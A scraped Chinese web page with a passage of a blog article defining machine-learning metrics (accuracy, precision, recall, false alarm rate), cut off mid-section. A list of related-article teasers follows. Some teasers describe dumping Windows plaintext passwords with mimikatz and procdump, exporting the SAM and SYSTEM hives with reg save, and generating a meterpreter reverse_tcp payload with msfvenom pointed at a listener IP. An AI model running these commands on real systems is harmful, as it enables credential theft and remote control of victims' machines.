机器学习中准确率、精确率、召回率、误报率、漏报率、F1-Score、APmAP、AUC、MAE、MAPE、MSE、RMSE、R-Squared等指标的定义和说明

article/2025/11/5 10:23:18

        在机器学习和深度学习用于异常检测(Anomaly detection)、电子商务(E-commerce)、信息检索(Information retrieval, IR)等领域任务(Task)中,有很多的指标来判断机器学习和深度学习效果的好坏。这些指标有相互权衡的,有相互背向的,所以往往需要根据实际的任务和场景来选择衡量指标。本篇博文对这些指标进行一个梳理。

一、名称解释

1、真实值actual value和预测值predicted value

这两者就是字面的意思,actual value是指真实记录的已发生的测量结果值,而predicted value是指对未发生的预测值。这里的值既可以是数值型,也可以是类别型。

2、真True、假False

这两个表示的是真实值与预测值之间是否吻合,true表示的是预测值与真实值一致,而false表示的是预测值与真实值不一致

3、阳性Positive(正)、阴性Negative(负)

首先这里讨论的positive和negative不代表性别的取向,同时正和负也不代表正确或者错误。positive指条件或者事物存在,而negative指条件或者事物不存在。例如异常检测领域阳性positive代表存在异常,阴性negative代表不存在异常;如健康领域阳性positive代表检测存在病毒或者疾病,阴性negative代表检测结果是健康的。再如电子商务领域阳性positive代表点击或者成交,阴性negative代表未点击或者未成交。

4、曝光List、点击Click、加收藏Wish/加关注Follow、加购Cart、订单Order、支付Pay

这几项名称往往用于网络内容或者电商领域,代表的是一则内容或者一个商品从展现给用户到用户消费该内容或者商品的过程。含义就是由字面代表的意思。

二、分类指标的定义和说明(准确率、精确率、召回率、误报率、漏报率)

首先看下面这张图,里面对部分指标做了定义。接下来对各个指标的定义和说明进行阐述:

如上图,将样例(样本,后面两者混用)分为阳性(正,后面两者混用)样例P和阴性(负,后面两者混用)样例N,将正样本预测为正样本的为True positive(TP),正样本预测为负样本的为False negative(FN),负样本预测为正样本的为False positive(FP),负样本预测为负样本的为True negative(TN)。所以有P=TP+FNN=FP+TN

1、准(正)确率accuracy

反映分类器或者模型对整体样本判断正确的能力,即能将阳性(正)样本positive判定为positive和阴性(负)样本negative判定为negative的正确分类能力。即预测正确的结果占总样本的百分比。值越大,性能performance越好

ACC=\frac{TP+TN}{P+N}=\frac{TP+TN}{TP+FN+FP+TN}

这里注意,在负样本(或者正样本)占绝对多数的场景中,即样本不平衡的情况下,不能单纯追求准确率,因为将所有样本都判定为负样本(或者正样本),这种情况下准确率也是非常高的。

2、精确率precision

反映分类器或者模型正确预测正样本精度的能力,即预测的正样本中有多少是真实的正样本。值越大,性能performance越好

precision=\frac{TP}{TP+FP}

这里注意,单纯追求精确率,会造成分类器或者模型少预测为正样本,这时{\color{Red}FP}低,即精确率就会很高。

3、召回率recall,也称为真阳率、命中率(hit rate)

反映分类器或者模型正确预测正样本全度的能力,增加将正样本预测为正样本,即正样本被预测为正样本占总的正样本的比例。值越大,性能performance越好

sensitivity=recall=TPR=\frac{TP}{TP+FN}=\frac{TP}{P}

这里注意,单纯追求召回率,会造成分类器或者模型基本都预测为正样本,这时{\color{Red}FN}低,即召回率就会很高。

4、误报率false alarm,也称为假阳率、虚警率、误检率

反映分类器或者模型正确预测正样本纯度的能力&


http://chatgpt.dhexx.cn/article/0Gg8u2td.shtml

相关文章

讨教大学|六西格玛之属性值数据一致性分析

相信大家在日常的工作中肯定会遇到这样一种情况:产品的质量特性属于外观特性,即 需要靠人工判断产品是不是符合标准。当遇到客户投诉,或者内部报废率比较高的时候,经 常会遇到客户和领导的挑战: 如何保证员工清楚的知…

布隆过滤器原理和基于BloomFilter的误判率展示

布隆过滤器 布隆过滤器原理 布隆过滤器是由n个Hash函数和一个二进制数组组成。 如图所示(参考,hash函数可以多个) 1.保存操作 发来一个请求数据hello对数据hello经过三次hash运算,分别得到三个值(假设1&#xff0…

布隆过滤器的误判率该如何计算?

作者:胡慢慢滚雪球 链接:https://www.zhihu.com/question/38573286/answer/507497251 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 在计算机中,判断一个元素是不是在一个集合中…

神器 mimikatz - 直接抓取 Windows 明文密码

昨天有朋友发了个法国佬写的神器叫 mimikatz让我们看下 神器下载地址: http://blog.gentilkiwi.com/mimikatz 还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章 http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-password…

加密连接数据库明文密码

我的其他笔记有记录过加密算法,这里不一一阐述,用DES对MySQL用户名和密码加密,然后在spring-dao.xml中配置中解密,需要新建一个解密类注册到xml中。 解密类: package com.mlr.util;import org.springframework.beans…

Spring boot 配置文件明文密码加解密

jasypt 是一个简单易用的加密Java库,使用起来非常简单。 现在我们系统中的一些配置文件中密码还是暴露的,打开配置文件,就能看到密码,如图: 这情况我们如果不想让别人看到数据库密码,所以就要对数据库密码进行加解密 通过jasypt 就可以简单实现 使用方法: 以spring b…

spring boot配置文件加密、明文密码加密、properties 和 yml 互相转换

spring boot配置文件加密、明文密码加密、properties 和 yml 互相转换 1.引入maven2.添加配置(yml格式的;properties 和 yml 在线转换)3.找到maven仓库下:org\jasypt\jasypt\1.9.3将内容进行加密4.常见问题及排查方法 1.引入maven…

在Win10系统中用mimikatz抓取明文密码

实验环境 :Windows10专业版 参考了网上的方法,发现大部分都是抄的 https://blog.csdn.net/netsec_steven/article/details/107257325 这一篇文章,都被转烂了,这一篇文章是对的,但是路径上还是有点小问题的,…

meterpreter下抓取windows系统明文密码实验

虚拟机:kali | Win7 工具:msf 1.生成工具 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost192.168.40.140 lport55555 -f exe -o 233.exe 这里需要注意的是IP地址以及端口。 2.监听 启动msf,选择模块,配置信息&#xff0c…

RTX查找本地明文密码

内存密码没有加密,造成能够获取到明文密码 我用的winhex18 1、用WINHEX打开RTX的内存(按altF9) 2、找到前缀为RTX的 3、打开主要内存 4、查找16进制字符串“40000000500061007300730077006F0072006400” 3、password下面就是明文密…

SpringBoot项目配置明文密码泄露问题处理

在项目开发过程中,需要配置数据库连接密码、Redis密码、网盘上传的AK/SK等敏感信息,都需要保存在配置文件里,或者配置中心。 这些信息如果泄露,还是会造成一定的困扰,这里介绍2种处理方案: 1、使用系统环境…

内网渗透(抓取明文密码)

1. 注册表导出 reg save hklm\sam sam.hiv ———> SAM文件reg save hklm\system sys.hiv ———> SYS文件注意事项: 1) 在Windows 2003版本包含2003以上都可以使用该命令 2) 在windows 2003中他会以ltml 3) 都是加密Hash演示: 1)下载mimikatz然后执行:lsadump::s…

域渗透——获取用户明文密码

目录 讲在前面: 一、CredSSP获取明文密码 二、Dcsync获取明文密码 讲在前面: 本文是笔者在学习"三好学生"前辈的文章进而总结的一篇文章,内容主要是在内网渗透中获得明文密码的两种方式。,在笔者看来,两…

Navicat导出链接查看数据库明文密码

测试环境:Navicat Premium 版本15.0.25 理论版本12以上即可。 参考地址:navicat~导出数据库密码 - 走看看 Hutool参考文档 代码 import cn.hutool.core.io.file.FileReader; import cn.hutool.crypto.symmetric.AES; import org.dom4j.*;import java.u…

Windows10明文密码抓取

procdumpmimikatz获取win10用户明文密码 测试环境:Win10 企业版LTSC 1809 工具下载:k8版本的mz64.exe、procdumpv9.0 原理:获取到内存文件lsass.exe进程(它用于本地安全和登陆策略)中存储的明文登录密码 利用前提:拿到了admin…

开发反模式 - 明文密码

开发反模式 - 明文密码 一、目标:恢复或重置密码 每个有密码的程序都会碰到用户忘记密码的情况,现今大多数程序都通过E-mail的回馈机制让用户恢复或者重置密码。这个解决方案有一个前提,这个服务有一个前提,就是这个用户能够访问他…

MD5明文密码加密

MD5 一、加密缘由 首先看一下未使用MD5加密的数据库 这样的话如果黑客攻击数据库的时候得到数据库的资料(主要密码)就会导致用户的财产等受到危害,所以需要对密码进行加密操作 二、加密的算法MD5 2.1、运用了单向加密算法(下…

Unity基础: 对Anchors锚点的使用

在UI对象上是用RectTransform组件来控制位置和大小的,在RectTransform中有一个Anchors属性。Anchors属性可以将当前对象的四个角锚点定位到父对象的某个位置,并且Anchor还允许子对象的宽高随着父对象的宽高一起拉伸。 上面一个示例中显示的就是将一个Ima…

(笔记)yolov5自适应anchors

训练一开始会先计算Best Possible Recall (BPR),当BPR < 0.98时&#xff0c;再在kmean_anchors函数中进行k 均值和遗传学习算法更新anchors。 情况一&#xff1a; 在进行yolov5训练的时候&#xff0c;会输出&#xff1a; Analyzing anchors... Best Possible Recall (BPR…

Roson讲Qt#16 QML中的anchors(锚)

QML中有一个数据类型叫Item&#xff0c;Item里面有很多属性&#xff0c;其中一个就是anchors. anchors翻译过来叫“锚”&#xff0c;锚可能不好理解&#xff0c;在我看来&#xff0c;可以把anchors当成是一个控件浓缩而成的一个点&#xff0c;可以通过设置点的上下左右等属性来…